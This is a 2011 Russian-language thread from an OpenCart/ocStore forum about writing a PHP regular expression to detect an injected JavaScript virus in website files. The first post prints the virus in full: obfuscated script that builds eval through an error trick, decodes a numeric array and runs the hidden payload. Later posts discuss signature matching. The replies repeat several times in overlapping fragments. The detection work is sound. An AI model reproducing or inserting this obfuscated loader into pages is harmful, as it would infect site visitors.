afwollis Posted July 17, 2011 Share Posted July 17, 2011 имеем сигнатуру вируса, встречающегося на сайтах <html><body><script>el=document.createElement("div");el.innerHTML="ReferenceErr";try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="m}ua<{A\"E]Cf[;=,di:s>01o)hny-w ve /(zglTBr.Ncpb't";ar2="R132c132c68c44c120c140c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c96c20c132c132c132c68c44c164c12c0c128c164c140c96c52c132c132c4c120c128c152c76c128c120c20c132c132c132c64c92c176c8c0c128c104c192c168c116c164c68c192c128c140c28c16c68c44c164c12c0c128c120c76c164c176c56c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c120c116c68c64c192c100c56c188c88c84c188c120c100c128c68c148c100c192c56c188c88c84c188c120c76c192c108c152c128c56c188c124c68c76c68c184c68c152c68c192c108c72c100c68c64c64c128c104c52c180c92c76c68c192c68c92c104c72c12c184c76c92c152c8c192c128c52c152c128c44c192c72c84c52c192c92c180c72c84c52c188c80c16c136c68c44c164c12c0c128c80c28c96c52c132c132c4c132c132c44c8c104c176c192c68c92c104c120c68c44c164c12c0c128c164c140c96c20c132c132c132c124c12c164c120c44c120c56c120c64c92c176c8c0c128c104c192c168c176c164c128c12c192c128c32c152c128c0c128c104c192c140c188c68c44c164c12c0c128c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c76c164c176c188c60c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c96c52c44c168c76c192c108c152c128c168c124c68c76c68c184c68c152c68c192c108c56c188c100c68c64c64c128c104c188c52c44c168c76c192c108c152c128c168c180c92c76c68c192c68c92c104c56c188c12c184c76c92c152c8c192c128c188c52c44c168c76c192c108c152c128c168c152c128c44c192c56c188c84c188c52c44c168c76c192c108c152c128c168c192c92c180c56c188c84c188c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c116c68c64c192c100c188c60c188c88c84c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c100c128c68c148c100c192c188c60c188c88c84c188c96c52c132c132c132c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c168c12c180c180c128c104c64c40c100c68c152c64c140c44c96c52c132c132c4";pau="urn eReferenceErr".replace(k,"va"+"l");e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="132";s="";for(i=0;i!=ar2.length;i++){e('po'.concat('s=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');} e(s);</script></body></html> обратите внимание - здесь две строки. после $preg_quoted_signature = preg_quote($signature);получаем такое значение сигнатуры \\\el\=document\.createElement\("div"\);el\.innerHTML\="ReferenceErr";try\{try\{throw 1\}catch\(a\)\{b\[2\]\=21\};\}catch\(a\)\{k\=el\.innerHTML\+a\.toString\(\)\.substr\(0,0\);\};ar\="m\}ua\<\{A\\"E\]Cf\[;\=,di\:s\>01o\)hny\-w ve /\(zglTBr\.Ncpb't";ar2\="R132c132c68c44c120c140c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c96c20c132c132c132c68c44c164c12c0c128c164c140c96c52c132c132c4c120c128c152c76c128c120c20c132c132c132c64c92c176c8c0c128c104c192c168c116c164c68c192c128c140c28c16c68c44c164c12c0c128c120c76c164c176c56c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c120c116c68c64c192c100c56c188c88c84c188c120c100c128c68c148c100c192c56c188c88c84c188c120c76c192c108c152c128c56c188c124c68c76c68c184c68c152c68c192c108c72c100c68c64c64c128c104c52c180c92c76c68c192c68c92c104c72c12c184c76c92c152c8c192c128c52c152c128c44c192c72c84c52c192c92c180c72c84c52c188c80c16c136c68c44c164c12c0c128c80c28c96c52c132c132c4c132c132c44c8c104c176c192c68c92c104c120c68c44c164c12c0c128c164c140c96c20c132c132c132c124c12c164c120c44c120c56c120c64c92c176c8c0c128c104c192c168c176c164c128c12c192c128c32c152c128c0c128c104c192c140c188c68c44c164c12c0c128c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c76c164c176c188c60c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c96c52c44c168c76c192c108c152c128c168c124c68c76c68c184c68c152c68c192c108c56c188c100c68c64c64c128c104c188c52c44c168c76c192c108c152c128c168c180c92c76c68c192c68c92c104c56c188c12c184c76c92c152c8c192c128c188c52c44c168c76c192c108c152c128c168c152c128c44c192c56c188c84c188c52c44c168c76c192c108c152c128c168c192c92c180c56c188c84c188c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c116c68c64c192c100c188c60c188c88c84c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c100c128c68c148c100c192c188c60c188c88c84c188c96c52c132c132c132c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c168c12c180c180c128c104c64c40c100c68c152c64c140c44c96c52c132c132c4";pau\="urn eReferenceErr"\.replace\(k,"va"\+"l"\);e\=Function\("ret"\+pau\)\(\);ar2\=ar2\.split\("c"\);ar2\[0\]\="132";s\="";for\(i\=0;i\!\=ar2\.length;i\+\+\)\{e\('po'\.concat\('s\=par','seInt\(k','\.rep','lace\("R','eferen','","0a','sd"\)\)\+','ar2\[','i\]/','4'\)\);e\('s\+\=ar\.substr\(pos,1\)'\);\} e\(s\);\\\ задача: составить правильное регулярное выражение для поиска сигнатуры в файлах. <?php $fullfile = "/some/path/to/some/file"; $fsize = filesize($fullfile); if ($fsize!=0) { $fh = fopen($fullfile, 'r'); $theData = fread($fh, $fsize); fclose($fh); if (preg_match("тут_должно быть корректное_регулярное_выражение", $theData)) { // какие-то действия } } ?> Link to comment Share on other sites More sharing options... Yesvik Posted July 18, 2011 Share Posted July 18, 2011 #<html><body><script>.+? </script></body></html>#s только без пробела после вопроса Link to comment Share on other sites More sharing options... afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 ммм... надо было подробнее описать ситуацию... сигнатур на самом деле уже около десятка и хотелось получить одну универсальную регулярку для всех случаев. preg_quote использовал в надежде искать именно по сигнатуре (совпадение символ в символ), примерно так if (preg_match("~(".$preg_quoted_signature.")~sm", $theData)) { стоит ли для каждой сигнатуры писать отдельную регулярку, по которой потом и проверять файлы или все таки можно решить это дело универсальным способом?... Link to comment Share on other sites More sharing options... Yesvik Posted July 18, 2011 Share Posted July 18, 2011 Так символ в символ, как раз и будет требовать наличия базы с заразами. А если зараза умеет модифицироваться? запаришся... Поэтому я и предложил по какому фрагменту можно отлавливать независимо от того как модифицировано тело заразы. Такая <html><body><script> последовательность в реале не встречается, и можно смело резать... Link to comment Share on other sites More sharing options... afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...такое есть только у одной пакости.Так символ в символ, как раз и будет требовать наличия базы с заразами.база есть и будет пополняться.А если зараза умеет модифицироваться?будем улучшать логику поиска :)и добавлять новые сигнатуры. Link to comment Share on other sites More sharing options... Create an account or sign in to comment You need to be a member in order to leave a comment Create an account Sign up for a new account in our community. It's easy! Register a new account Sign in Already have an account? Sign in here. Sign In Now Share More sharing options... Followers 0 Go to topic listing Recently Browsing 0 members No registered users viewing this page. Последние темы Последние дополнения Последние новости All Activity Home Разное Курилка мультистроковая регулярка для preg_match Покупателям Оплата дополнений физическими лицами Оплата дополнений юридическими лицами Политика возвратов Разработчикам Регламент размещения дополнений Регламент продаж и поддержки дополнений Виртуальный аккаунт автора Политика продвижения объявлений API каталога дополнений Урегулирование споров по авторским правам Полезная информация Публичная оферта Политика возвратов Политика конфиденциальности Платежная политика Политика Передачи Персональных Данных Политика прозрачности Последние дополнения Alta — тема для админ панели By impulze100500 Sorting modules in layout Drag&Drop By markimax Additional services for SAP modules By S_A_P Opencart ChatGPT - artificial intelligence content generator By kabantejay Custom Email By Parallax × Existing user? Sign In Sign Up Shopping section Back Purchased extensions Invoices Whishlist Alternative Contacts Forums News ocStore Back Official site Demo ocStore 3.0.3.2 Demo ocStore 2.3.0.2.4 Download ocStore Docs Release History Blogs Extensions Templates Back Free templates Paid templates Services FAQ OpenCart.Pro Back Demo Buy Compare × Create New... Important Information On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice. I accept
Yesvik Posted July 18, 2011 Share Posted July 18, 2011 #<html><body><script>.+? </script></body></html>#s только без пробела после вопроса Link to comment Share on other sites More sharing options... afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 ммм... надо было подробнее описать ситуацию... сигнатур на самом деле уже около десятка и хотелось получить одну универсальную регулярку для всех случаев. preg_quote использовал в надежде искать именно по сигнатуре (совпадение символ в символ), примерно так if (preg_match("~(".$preg_quoted_signature.")~sm", $theData)) { стоит ли для каждой сигнатуры писать отдельную регулярку, по которой потом и проверять файлы или все таки можно решить это дело универсальным способом?... Link to comment Share on other sites More sharing options... Yesvik Posted July 18, 2011 Share Posted July 18, 2011 Так символ в символ, как раз и будет требовать наличия базы с заразами. А если зараза умеет модифицироваться? запаришся... Поэтому я и предложил по какому фрагменту можно отлавливать независимо от того как модифицировано тело заразы. Такая <html><body><script> последовательность в реале не встречается, и можно смело резать... Link to comment Share on other sites More sharing options... afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...такое есть только у одной пакости.Так символ в символ, как раз и будет требовать наличия базы с заразами.база есть и будет пополняться.А если зараза умеет модифицироваться?будем улучшать логику поиска :)и добавлять новые сигнатуры. Link to comment Share on other sites More sharing options... Create an account or sign in to comment You need to be a member in order to leave a comment Create an account Sign up for a new account in our community. It's easy! Register a new account Sign in Already have an account? Sign in here. Sign In Now Share More sharing options... Followers 0 Go to topic listing Recently Browsing 0 members No registered users viewing this page. Последние темы Последние дополнения Последние новости All Activity Home Разное Курилка мультистроковая регулярка для preg_match Покупателям Оплата дополнений физическими лицами Оплата дополнений юридическими лицами Политика возвратов Разработчикам Регламент размещения дополнений Регламент продаж и поддержки дополнений Виртуальный аккаунт автора Политика продвижения объявлений API каталога дополнений Урегулирование споров по авторским правам Полезная информация Публичная оферта Политика возвратов Политика конфиденциальности Платежная политика Политика Передачи Персональных Данных Политика прозрачности Последние дополнения Alta — тема для админ панели By impulze100500 Sorting modules in layout Drag&Drop By markimax Additional services for SAP modules By S_A_P Opencart ChatGPT - artificial intelligence content generator By kabantejay Custom Email By Parallax
afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 ммм... надо было подробнее описать ситуацию... сигнатур на самом деле уже около десятка и хотелось получить одну универсальную регулярку для всех случаев. preg_quote использовал в надежде искать именно по сигнатуре (совпадение символ в символ), примерно так if (preg_match("~(".$preg_quoted_signature.")~sm", $theData)) { стоит ли для каждой сигнатуры писать отдельную регулярку, по которой потом и проверять файлы или все таки можно решить это дело универсальным способом?... Link to comment Share on other sites More sharing options... Yesvik Posted July 18, 2011 Share Posted July 18, 2011 Так символ в символ, как раз и будет требовать наличия базы с заразами. А если зараза умеет модифицироваться? запаришся... Поэтому я и предложил по какому фрагменту можно отлавливать независимо от того как модифицировано тело заразы. Такая <html><body><script> последовательность в реале не встречается, и можно смело резать... Link to comment Share on other sites More sharing options... afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...такое есть только у одной пакости.Так символ в символ, как раз и будет требовать наличия базы с заразами.база есть и будет пополняться.А если зараза умеет модифицироваться?будем улучшать логику поиска :)и добавлять новые сигнатуры. Link to comment Share on other sites More sharing options... Create an account or sign in to comment You need to be a member in order to leave a comment Create an account Sign up for a new account in our community. It's easy! Register a new account Sign in Already have an account? Sign in here. Sign In Now Share More sharing options... Followers 0 Go to topic listing Recently Browsing 0 members No registered users viewing this page. Последние темы Последние дополнения Последние новости All Activity Home Разное Курилка мультистроковая регулярка для preg_match
Yesvik Posted July 18, 2011 Share Posted July 18, 2011 Так символ в символ, как раз и будет требовать наличия базы с заразами. А если зараза умеет модифицироваться? запаришся... Поэтому я и предложил по какому фрагменту можно отлавливать независимо от того как модифицировано тело заразы. Такая <html><body><script> последовательность в реале не встречается, и можно смело резать... Link to comment Share on other sites More sharing options... afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...такое есть только у одной пакости.Так символ в символ, как раз и будет требовать наличия базы с заразами.база есть и будет пополняться.А если зараза умеет модифицироваться?будем улучшать логику поиска :)и добавлять новые сигнатуры. Link to comment Share on other sites More sharing options... Create an account or sign in to comment You need to be a member in order to leave a comment Create an account Sign up for a new account in our community. It's easy! Register a new account Sign in Already have an account? Sign in here. Sign In Now Share More sharing options... Followers 0 Go to topic listing Recently Browsing 0 members No registered users viewing this page.
afwollis Posted July 18, 2011 Author Share Posted July 18, 2011 Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...такое есть только у одной пакости.Так символ в символ, как раз и будет требовать наличия базы с заразами.база есть и будет пополняться.А если зараза умеет модифицироваться?будем улучшать логику поиска :)и добавлять новые сигнатуры. Link to comment Share on other sites More sharing options... Create an account or sign in to comment You need to be a member in order to leave a comment Create an account Sign up for a new account in our community. It's easy! Register a new account Sign in Already have an account? Sign in here. Sign In Now Share More sharing options... Followers 0
Recommended Posts